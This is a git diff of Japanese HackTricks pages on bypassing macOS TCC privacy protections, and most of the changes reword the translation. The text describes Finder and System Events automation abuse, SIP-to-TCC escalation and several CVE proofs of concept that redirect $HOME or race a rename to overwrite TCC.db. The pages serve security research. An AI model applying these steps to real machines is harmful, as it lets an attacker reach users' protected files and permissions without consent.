* $HOME/.ssh、$HOME/.aws など
|
||||
|
@ -282,9 +282,9 @@ uuid 769FD8F1-90E0-3206-808C-A8947BEBD6C3
|
|||
また、コンピュータ内のアプリのUUIDを許可するファイルを別のコンピュータに移動すると、同じアプリでも異なるUIDを持つため、そのアプリにアクセス権が付与されません。
|
||||
{% endhint %}
|
||||
|
||||
拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去することはできません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
|
||||
拡張属性`com.apple.macl`は、他の拡張属性とは異なり、**SIPによって保護**されているため、**消去できません**。ただし、[**この投稿で説明されているように**](https://www.brunerd.com/blog/2020/01/07/track-and-tackle-com-apple-macl/)、ファイルを**圧縮**して、**削除**して、**解凍**することで無効にすることが可能です。
|
||||
|
||||
## TCC特権昇格とバイパス
|
||||
## TCC特権昇格と回避手法
|
||||
|
||||
### TCCに挿入
|
||||
|
||||
|
@ -345,10 +345,10 @@ strftime('%s', 'now') -- last_reminded with default current timestamp
|
|||
### 自動化(Finder)から FDA\*
|
||||
|
||||
自動化権限の TCC 名は: **`kTCCServiceAppleEvents`**\
|
||||
この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーションを示す**(つまり、権限はすべてを管理するだけでなく、特定のアプリケーションを管理することもできます)。
|
||||
この特定の TCC 権限は、TCC データベース内で管理できる**アプリケーション**を示しています(つまり、権限はすべてを管理するだけではありません)。
|
||||
|
||||
**Finder** は、**常に FDA を持っています**(UI に表示されなくても)、そのため、それに対して **Automation** 権限がある場合、その権限を悪用して **いくつかのアクションを実行**させることができます。\
|
||||
この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** 権限が必要です。
|
||||
この場合、あなたのアプリは **`com.apple.Finder`** 上で **`kTCCServiceAppleEvents`** の許可が必要です。
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="ユーザーの TCC.db を盗む %}
|
||||
|
@ -381,17 +381,15 @@ EOD
|
|||
これを悪用すると、**独自のユーザーTCCデータベースを作成**することができます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaik **Finderに任意のコードを実行させることはできない**ため、完全にFDAアクセスを悪用することはできません。
|
||||
|
||||
したがって、完全なFDAの機能を悪用することはできません。
|
||||
この権限を持つと、**FinderにTCC制限フォルダへのアクセスを要求**してファイルを取得することができますが、afaikでは**Finderに任意のコードを実行させることはできません**。そのため、FDAアクセスを完全に悪用することはできません。
|
||||
{% endhint %}
|
||||
|
||||
これは、Finderに対してAutomation権限を取得するためのTCCプロンプトです:
|
||||
これはFinderに対してAutomation権限を取得するためのTCCプロンプトです:
|
||||
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt="" width="244"><figcaption></figcaption></figure>
|
||||
|
||||
{% hint style="danger" %}
|
||||
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのような**任意のアプリを制御**できます。したがって、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
|
||||
**Automator**アプリがTCC権限**`kTCCServiceAppleEvents`**を持っているため、Finderのようなアプリを**制御**することができます。そのため、Automatorを制御する権限があれば、以下のコードのように**Finder**を制御することもできます:
|
||||
{% endhint %}
|
||||
|
||||
<details>
|
||||
|
@ -420,9 +418,9 @@ EOD
|
|||
|
||||
**スクリプトエディターアプリ**でも同じことが起こります。Finderを制御できますが、AppleScriptを使用してスクリプトを実行することはできません。
|
||||
|
||||
### Automation (SE) to some TCC
|
||||
### 自動化(SE)への一部TCC
|
||||
|
||||
**システムイベント**はフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用してこの動作を悪用することができます:
|
||||
**システムイベントはフォルダアクションを作成でき、フォルダアクションは一部のTCCフォルダにアクセスできます**(デスクトップ、ドキュメント&ダウンロード)。したがって、次のようなスクリプトを使用して、この動作を悪用することができます:
|
||||
```bash
|
||||
# Create script to execute with the action
|
||||
cat > "/tmp/script.js" <<EOD
|
||||
|
@ -516,7 +514,7 @@ EOF
|
|||
```
|
||||
### `kTCCServiceAccessibility`からFDAへのエスカレーション
|
||||
|
||||
[**アクセシビリティ権限を悪用するためのペイロード**](macos-tcc-payloads.md#accessibility)をチェックして、FDA\*にエスカレーションしたり、例えばキーロガーを実行したりできます。
|
||||
[**アクセシビリティ権限を悪用するためのペイロード**](macos-tcc-payloads.md#accessibility)をチェックして、FDA\*にエスカレーションしたり、キーロガーを実行したりできます。
|
||||
|
||||
### **エンドポイントセキュリティクライアントからFDAへ**
|
||||
|
||||
|
@ -536,19 +534,19 @@ EOF
|
|||
|
||||
**フルディスクアクセス**のTCC名は**`kTCCServiceSystemPolicyAllFiles`**です。
|
||||
|
||||
これは実際にはリアルなエスカレーションではないと思いますが、念のため便利かもしれません: FDAを持つプログラムを制御できる場合、**ユーザーTCCデータベースを変更して任意のアクセス権を自分に与える**ことができます。これはFDA権限を失った場合の持続性手法として役立つかもしれません。
|
||||
これは実際にはリアルなエスカレーションではないと思いますが、念のために役立つかもしれません。FDAを制御できるプログラムがある場合、**ユーザーTCCデータベースを変更して任意のアクセス権を与える**ことができます。これは、FDA権限を失った場合の持続性テクニックとして役立つ可能性があります。
|
||||
|
||||
### **SIPバイパスからTCCバイパスへ**
|
||||
|
||||
システムの**TCCデータベース**は**SIP**によって保護されているため、**指定された権限を持つプロセスのみが**それを変更できます。したがって、攻撃者が**SIPバイパス**を見つけると(SIPによって制限されたファイルを変更できるようになる)、次のことができるようになります:
|
||||
システムのTCCデータベースは**SIP**によって保護されているため、**指定された権限を持つプロセスのみが変更できます**。したがって、攻撃者が**SIPバイパス**を見つけると(SIPによって制限されたファイルを変更できるようになる)、次のことができるようになります:
|
||||
|
||||
* TCCデータベースの保護を**解除**し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます:
|
||||
* TCCシステムデータベース
|
||||
* REG.db
|
||||
* MDMOverrides.plist
|
||||
- TCCデータベースの保護を**解除**し、自分にすべてのTCC権限を与えることができます。たとえば、次のファイルを悪用できます:
|
||||
- TCCシステムデータベース
|
||||
- REG.db
|
||||
- MDMOverrides.plist
|
||||
|
||||
ただし、この**SIPバイパスをTCCバイパスに悪用**する別のオプションがあります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`ファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加できるようにすれば、そのアプリケーションはTCCをバイパスできます。\
|
||||
たとえば、ターミナルを追加する場合:
|
||||
ただし、この**SIPバイパスをTCCバイパスに悪用**する別のオプションがあります。`/Library/Apple/Library/Bundles/TCC_Compatibility.bundle/Contents/Resources/AllowApplicationsList.plist`ファイルは、TCC例外を必要とするアプリケーションの許可リストです。したがって、攻撃者がこのファイルからSIP保護を**解除**し、**独自のアプリケーション**を追加すると、そのアプリケーションはTCCをバイパスできるようになります。\
|
||||
たとえば、ターミナルを追加する場合:
|
||||
```bash
|
||||
# Get needed info
|
||||
codesign -d -r- /System/Applications/Utilities/Terminal.app
|
||||
|
@ -600,7 +598,7 @@ HackTricks をサポートする他の方法:
|
|||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) または [**telegramグループ**](https://t.me/peass) に参加し、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする**
|
||||
* **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出して、あなたのハッキングトリックを共有する
|
||||
* **💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
* **ハッキングトリックを共有するために PR を送信して** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに貢献する。
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricks をサポートする他の方法:
|
||||
|
||||
- **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい** 場合は [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
- [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family) を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
- **💬 [Discordグループ](https://discord.gg/hRep4RUj7f)** に参加するか、[telegramグループ](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする。
|
||||
- **HackTricks** と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリに PR を提出して、あなたのハッキングテクニックを共有してください。
|
||||
* **HackTricks で企業を宣伝したい** または **HackTricks をPDFでダウンロードしたい場合は** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
|
||||
* [**公式PEASS&HackTricksグッズ**](https://peass.creator-spring.com)を入手する
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見つける
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegramグループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** をフォローする。**
|
||||
* **ハッキングトリックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) のGitHubリポジトリにPRを提出する。
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -39,7 +39,7 @@ asd
|
|||
### 任意の名前によるTCCリクエスト
|
||||
|
||||
攻撃者は、`Info.plist`で任意の名前(例:Finder、Google Chromeなど)のアプリを作成し、それをいくつかのTCC保護された場所へのアクセスをリクエストするようにします。ユーザーは、正規のアプリケーションがこのアクセスをリクエストしていると思うでしょう。\
|
||||
さらに、正規のアプリをDockから削除し、その代わりに偽物を置くことが可能です。したがって、ユーザーが偽物をクリックすると(同じアイコンを使用できる)、それは正規のアプリを呼び出し、TCCの許可を求め、マルウェアを実行し、ユーザーは正規のアプリがアクセスを要求したと信じることになります。
|
||||
さらに、正規のアプリをDockから削除し、その代わりに偽のアプリを置くことが可能で、ユーザーが偽のアプリをクリックすると(同じアイコンを使用できる)それは正規のアプリを呼び出し、TCCの許可を求め、マルウェアを実行することができ、ユーザーは正規のアプリがアクセスを要求したと信じることになります。
|
||||
|
||||
<figure><img src="https://lh7-us.googleusercontent.com/Sh-Z9qekS_fgIqnhPVSvBRmGpCXCpyuVuTw0x5DLAIxc2MZsSlzBOP7QFeGo_fjMeCJJBNh82f7RnewW1aWo8r--JEx9Pp29S17zdDmiyGgps1hH9AGR8v240m5jJM8k0hovp7lm8ZOrbzv-RC8NwzbB8w=s2048" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -51,7 +51,7 @@ asd
|
|||
|
||||
### SSH バイパス
|
||||
|
||||
デフォルトでは、**SSH経由のアクセスには「Full Disk Access」が必要**です。これを無効にするには、それがリストされているが無効になっている必要があります(リストから削除してもこれらの権限は削除されません):
|
||||
デフォルトでは、**SSH経由のアクセスには「Full Disk Access」が必要**です。これを無効にするには、それがリストされている必要がありますが、無効にする必要があります(リストから削除してもこれらの権限は削除されません):
|
||||
|
||||
![](<../../../../../.gitbook/assets/image (569).png>)
|
||||
|
||||
|
@ -67,19 +67,19 @@ SSHを有効にするには、今では**Full Disk Access**が必要です
|
|||
|
||||
属性**`com.apple.macl`**は、**特定のアプリケーションがそれを読む権限を持つ**ためにファイルに与えられます。この属性は、ファイルをアプリに**ドラッグ&ドロップ**するか、ユーザーがファイルを**ダブルクリック**してデフォルトのアプリで開くときに設定されます。
|
||||
|
||||
したがって、ユーザーはすべての拡張子を処理する悪意のあるアプリを**登録**し、Launch Servicesを呼び出して**任意のファイルを開く**ことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。
|
||||
したがって、ユーザーは、すべての拡張子を処理する悪意のあるアプリを登録し、Launch Servicesを呼び出して**任意のファイルを開く**ことができます(そのため、悪意のあるファイルはそれを読む権限が与えられます)。
|
||||
|
||||
### iCloud
|
||||
|
||||
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、これによりiCloudトークンが**提供**されます。
|
||||
権限**`com.apple.private.icloud-account-access`**を使用すると、**`com.apple.iCloudHelper`** XPCサービスと通信することが可能で、そこから**iCloudトークンを取得**できます。
|
||||
|
||||
**iMovie**と**Garageband**はこの権限を持っていました。
|
||||
|
||||
その権限からiCloudトークンを取得する**エクスプロイト**についての詳細については、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
その権限からiCloudトークンを取得する**エクスプロイト**についての詳細は、次のトークをチェックしてください:[**#OBTS v5.0: "What Happens on your Mac, Stays on Apple's iCloud?!" - Wojciech Regula**](https://www.youtube.com/watch?v=_6e2LhmxVc0)
|
||||
|
||||
### kTCCServiceAppleEvents / Automation
|
||||
|
||||
**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があります。
|
||||
**`kTCCServiceAppleEvents`**権限を持つアプリは、他のアプリを**制御**することができます。これは、他のアプリに付与された権限を**悪用**する可能性があることを意味します。
|
||||
|
||||
Apple Scriptsに関する詳細は次をチェックしてください:
|
||||
|
||||
|
@ -127,9 +127,9 @@ do shell script "rm " & POSIX path of (copyFile as alias)
|
|||
|
||||
### CVE-2020–9934 - TCC <a href="#c19b" id="c19b"></a>
|
||||
|
||||
ユーザーランドの**tccdデーモン**は、**`HOME`** **env**変数を使用して、次の場所からTCCユーザーデータベースにアクセスしています:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
ユーザーランドの**tccdデーモン**は、**`HOME`** **env**変数を使用して、次の場所からTCCユーザーデータベースにアクセスします:**`$HOME/Library/Application Support/com.apple.TCC/TCC.db`**
|
||||
|
||||
[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、**それに渡されるすべての環境変数を制御**することが可能です。\
|
||||
[このStack Exchangeの投稿](https://stackoverflow.com/questions/135688/setting-environment-variables-on-os-x/3756686#3756686)によると、TCCデーモンは現在のユーザーのドメイン内で`launchd`を介して実行されているため、**渡されるすべての環境変数を制御**することが可能です。\
|
||||
したがって、**攻撃者は`launchctl`**で`$HOME`環境変数を**制御されたディレクトリ**を指すように設定し、**TCC**デーモンを**再起動**してから、TCCデータベースを**直接変更**して、エンドユーザーにプロンプトを表示せずに**利用可能なすべてのTCC権限を自分に与える**ことができます。\
|
||||
PoC:
|
||||
```bash
|
||||
|
@ -160,19 +160,19 @@ $> ls ~/Documents
|
|||
```
|
||||
### CVE-2021-30761 - ノート
|
||||
|
||||
ノートはTCCで保護された場所にアクセスできましたが、ノートが作成されるときは**保護されていない場所に作成**されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:
|
||||
ノートはTCCで保護された場所へのアクセス権を持っていましたが、ノートが作成されるときは**保護されていない場所**に作成されます。したがって、ノートに保護されたファイルをコピーするように依頼し、その後ファイルにアクセスできます:
|
||||
|
||||
<figure><img src="../../../../../.gitbook/assets/image (6) (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
### CVE-2021-30782 - トランスロケーション
|
||||
|
||||
ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と**`kTCCServiceSystemPolicyAllFiles`**を持っていたため、すべてのファイルにアクセスできました。
|
||||
ライブラリ`libsecurity_translocate`を持つバイナリ`/usr/libexec/lsd`は、`com.apple.private.nullfs_allow`という権限を持っていました。これにより**nullfs**マウントを作成し、`com.apple.private.tcc.allow`と**`kTCCServiceSystemPolicyAllFiles`**を持ってすべてのファイルにアクセスできました。
|
||||
|
||||
"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことが可能で、その後、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス**できました。
|
||||
"Library"に隔離属性を追加し、**`com.apple.security.translocation`** XPCサービスを呼び出すことで、Libraryを**`$TMPDIR/AppTranslocation/d/d/Library`**にマップし、Library内のすべてのドキュメントに**アクセス**できるようになりました。
|
||||
|
||||
### CVE-2023-38571 - Music & TV <a href="#cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv" id="cve-2023-38571-a-macos-tcc-bypass-in-music-and-tv"></a>
|
||||
|
||||
**`Music`**には興味深い機能があります。実行中に、ユーザーの"メディアライブラリ"に**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルを**インポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
|
||||
**`Music`**には興味深い機能があります。実行中に**`~/Music/Music/Media.localized/Automatically Add to Music.localized`**にドロップされたファイルをユーザーの「メディアライブラリ」に**インポート**します。さらに、次のようなものを呼び出します:**`rename(a, b);`** ここで`a`と`b`は次のとおりです:
|
||||
|
||||
* `a = "~/Music/Music/Media.localized/Automatically Add to Music.localized/myfile.mp3"`
|
||||
* `b = "~/Music/Music/Media.localized/Automatically Add to Music.localized/Not Added.localized/2023-09-25 11.06.28/myfile.mp3`
|
||||
|
@ -181,12 +181,12 @@ $> ls ~/Documents
|
|||
|
||||
### SQLITE\_SQLLOG\_DIR - CVE-2023-32422
|
||||
|
||||
**`SQLITE_SQLLOG_DIR="path/folder"`**が設定されている場合、**任意のオープンされたdbがそのパスにコピー**されます。このCVEでは、この制御が悪用され、**TCCデータベースを持つプロセスによって開かれるSQLiteデータベース**内に**書き込む**ことが可能であり、その後、**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが開かれたもので上書き**されました。\
|
||||
**`SQLITE_SQLLOG_DIR="path/folder"`**とすると、**すべてのオープンdbがそのパスにコピー**されます。このCVEでは、この制御が悪用され、**TCCデータベースを持つプロセスによって開かれるSQLiteデータベース**内に**書き込む**ことが可能であり、その後**`SQLITE_SQLLOG_DIR`**を**ファイル名にシンボリックリンク**として悪用し、そのデータベースが**開かれる**と、ユーザーの**TCC.dbが上書き**されました。\
|
||||
**詳細は**[**こちらの解説**](https://gergelykalman.com/sqlol-CVE-2023-32422-a-macos-tcc-bypass.html) **および**[**こちらのトーク**](https://www.youtube.com/watch?v=f1HA5QhLQ7Y\&t=20548s) **にあります**。
|
||||
|
||||
### **SQLITE\_AUTO\_TRACE**
|
||||
|
||||
環境変数**`SQLITE_AUTO_TRACE`**が設定されている場合、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
|
||||
環境変数**`SQLITE_AUTO_TRACE`**が設定されていると、ライブラリ**`libsqlite3.dylib`**はすべてのSQLクエリを**ログ**し始めます。多くのアプリケーションがこのライブラリを使用していたため、すべてのSQLiteクエリをログすることが可能でした。
|
||||
|
||||
いくつかのAppleアプリケーションは、TCCで保護された情報にアクセスするためにこのライブラリを使用していました。
|
||||
```bash
|
||||
|
@ -199,38 +199,38 @@ launchctl setenv SQLITE_AUTO_TRACE 1
|
|||
|
||||
次のように設定します:`MTL_DUMP_PIPELINES_TO_JSON_FILE="path/name"`。`path`が有効なディレクトリである場合、バグがトリガーされ、`fs_usage`を使用してプログラム内で何が起こっているかを確認できます:
|
||||
|
||||
- `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)と呼ばれます
|
||||
- 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)
|
||||
- `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります
|
||||
- `open()`されるファイルは、`path/.dat.nosyncXXXX.XXXXXX`(Xはランダム)と呼ばれます。
|
||||
- 1つ以上の`write()`がファイルに内容を書き込みます(これは制御できません)。
|
||||
- `path/.dat.nosyncXXXX.XXXXXX`が`rename()`されて`path/name`になります。
|
||||
|
||||
これは、**セキュリティが確保されていない**一時ファイル書き込みであり、**`rename(old, new)`**に続きます。
|
||||
これは一時ファイルの書き込みであり、その後に**セキュリティが確保されていない** **`rename(old, new)`** が続きます。
|
||||
|
||||
これは、**古いパスと新しいパスを別々に解決する必要があるため**、時間がかかり、競合状態に対して脆弱になる可能性があるため、セキュリティが確保されていません。詳細については、`xnu`関数`renameat_internal()`を確認してください。
|
||||
これは**古いパスと新しいパスを別々に解決する必要がある**ため、時間がかかり、競合状態に対して脆弱になる可能性があります。詳細については、`xnu`関数`renameat_internal()`を確認してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
つまり、特権プロセスがコントロールするフォルダから名前を変更する場合、RCEを獲得し、異なるファイルにアクセスしたり、このCVEのように特権アプリが作成したファイルを開いてFDを保存したりできます。
|
||||
つまり、特権プロセスがコントロールするフォルダから名前を変更する場合、RCEを獲得して異なるファイルにアクセスしたり、このCVEのように特権アプリが作成したファイルを開いてFDを保存することができます。
|
||||
|
||||
名前を変更すると、コントロールするフォルダにアクセスし、ソースファイルを変更したり、FDを持っている場合、宛先ファイル(またはフォルダ)をシンボリックリンクに指すように変更できるため、いつでも書き込むことができます。
|
||||
名前を変更しているフォルダがコントロール可能な場合、ソースファイルを変更したり、そのFDを持っている場合、宛先ファイル(またはフォルダ)をシンボリックリンクに指すように変更できるため、いつでも書き込むことができます。
|
||||
{% endhint %}
|
||||
|
||||
このCVEでの攻撃は次のとおりです:例えば、ユーザーの`TCC.db`を上書きするには:
|
||||
|
||||
- `/Users/hacker/ourlink`を`/Users/hacker/Library/Application Support/com.apple.TCC/`にポイントするように作成します
|
||||
- ディレクトリ`/Users/hacker/tmp/`を作成します
|
||||
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します
|
||||
- この環境変数を使用して`Music`を実行してバグをトリガーします
|
||||
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`(Xはランダム)の`open()`をキャッチします
|
||||
- ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します
|
||||
- `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます
|
||||
- これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります
|
||||
- 少し待つ
|
||||
- 運が良ければテストします
|
||||
- そうでない場合は、最初からやり直します
|
||||
- `/Users/hacker/ourlink`を作成して`/Users/hacker/Library/Application Support/com.apple.TCC/`を指すようにします。
|
||||
- ディレクトリ`/Users/hacker/tmp/`を作成します。
|
||||
- `MTL_DUMP_PIPELINES_TO_JSON_FILE=/Users/hacker/tmp/TCC.db`を設定します。
|
||||
- この環境変数を使用して`Music`を実行してバグをトリガーします。
|
||||
- `/Users/hacker/tmp/.dat.nosyncXXXX.XXXXXX`(Xはランダム)の`open()`をキャッチします。
|
||||
- ここでも、このファイルを書き込み用に`open()`し、ファイルディスクリプタを保持します。
|
||||
- `/Users/hacker/tmp`を`/Users/hacker/ourlink`に**ループ内で**原子的に切り替えます。
|
||||
- これは、競合ウィンドウが非常に狭いため、成功する可能性を最大化するために行いますが、競争に負けるとほとんどデメリットがあります。
|
||||
- 少し待ちます。
|
||||
- 運が良ければテストします。
|
||||
- そうでない場合は、最初からやり直します。
|
||||
|
||||
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)で確認できます。
|
||||
詳細は[https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html](https://gergelykalman.com/lateralus-CVE-2023-32407-a-macos-tcc-bypass.html)を参照してください。
|
||||
|
||||
{% hint style="danger" %}
|
||||
今、環境変数`MTL_DUMP_PIPELINES_TO_JSON_FILE`を使用しようとすると、アプリが起動しなくなります
|
||||
今、環境変数`MTL_DUMP_PIPELINES_TO_JSON_FILE`を使用しようとすると、アプリが起動しなくなります。
|
||||
{% endhint %}
|
||||
|
||||
### Apple Remote Desktop
|
||||
|
@ -239,11 +239,10 @@ rootとしてこのサービスを有効にすると、**ARDエージェント
|
|||
|
||||
## **NFSHomeDirectory**による
|
||||
|
||||
TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。**$HOME/Library/Application Support/com.apple.TCC/TCC.db**。\
|
||||
したがって、ユーザーが$HOME環境変数を**異なるフォルダ**を指すように再起動できれば、ユーザーは**/Library/Application Support/com.apple.TCC/TCC.db**に新しいTCCデータベースを作成し、TCCに任意のTCC権限を任意のアプリに付与するようにトリックをかけることができます。
|
||||
TCCは、ユーザーのHOMEフォルダ内のデータベースを使用して、ユーザー固有のリソースへのアクセスを制御します。したがって、ユーザーが`$HOME/Library/Application Support/com.apple.TCC/TCC.db`を指す**異なるフォルダ**でTCCを再起動できる場合、ユーザーは`/Library/Application Support/com.apple.TCC/TCC.db`に新しいTCCデータベースを作成し、TCCに任意のTCC権限を付与するようにトリックをかけることができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用して、**`$HOME`**の値を取得します。したがって、この値を変更する権限(**`kTCCServiceSystemPolicySysAdminFiles`**)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**兵器化**することができます。
|
||||
Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用して、**`$HOME`**の値を取得します。したがって、この値を変更する権限(**`kTCCServiceSystemPolicySysAdminFiles`**)を持つアプリケーションを侵害すると、このオプションをTCCバイパスとして**武装化**できます。
|
||||
{% endhint %}
|
||||
|
||||
### [CVE-2020–9934 - TCC](./#c19b) <a href="#c19b" id="c19b"></a>
|
||||
|
@ -252,17 +251,16 @@ Appleは、**`NFSHomeDirectory`**属性内に格納された設定を使用し
|
|||
|
||||
### CVE-2021-30970 - Powerdir
|
||||
|
||||
**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーのHOMEフォルダを変更します。
|
||||
**最初のPOC**は、[**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)と[**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して、ユーザーのホームディレクトリを変更します。
|
||||
|
||||
1. ターゲットアプリケーションの_csreq_ blobを取得します。
|
||||
2. 必要なアクセス権限と_csreq_ blobを持つ偽の_TCC.db_ファイルを配置します。
|
||||
1. ターゲットアプリケーションの_csreq_ブロブを取得します。
|
||||
2. 必要なアクセス権限と_csreq_ブロブを持つ偽の_TCC.db_ファイルを配置します。
|
||||
3. [**dsexport**](https://www.unix.com/man-page/osx/1/dsexport/)を使用してユーザーのDirectory Servicesエントリをエクスポートします。
|
||||
4. ユーザーのホームディレクトリを変更するためにDirectory Servicesエントリを変更します。
|
||||
5. [**dsimport**](https://www.unix.com/man-page/osx/1/dsimport/)を使用して変更されたDirectory Servicesエントリをインポートします。
|
||||
6. ユーザーの_tccd_を停止し、プロセスを再起動します。
|
||||
|
||||
**2番目のPOC**は、`/usr/libexec/configd`を使用し、`com.apple.private.tcc.allow`が`kTCCServiceSystemPolicySysAdminFiles`の値を持っていました。\
|
||||
攻撃者は、**`configd`**を**`-t`**オプションで実行することで、**カスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**`configd`コードインジェクション**で**`dsexport`**および**`dsimport`**方法を置き換えることができました。
|
||||
**2番目のPOC**は、`/usr/libexec/configd`が`com.apple.private.tcc.allow`という値`kTCCServiceSystemPolicySysAdminFiles`を持っていたことです。**`configd`**を**`-t`**オプションで実行することが可能で、攻撃者は**カスタムバンドルをロード**できました。したがって、この脆弱性は、ユーザーのホームディレクトリを変更する**`configd`コードインジェクション**で**`dsexport`**および**`dsimport`**の方法を置き換えることができました。
|
||||
|
||||
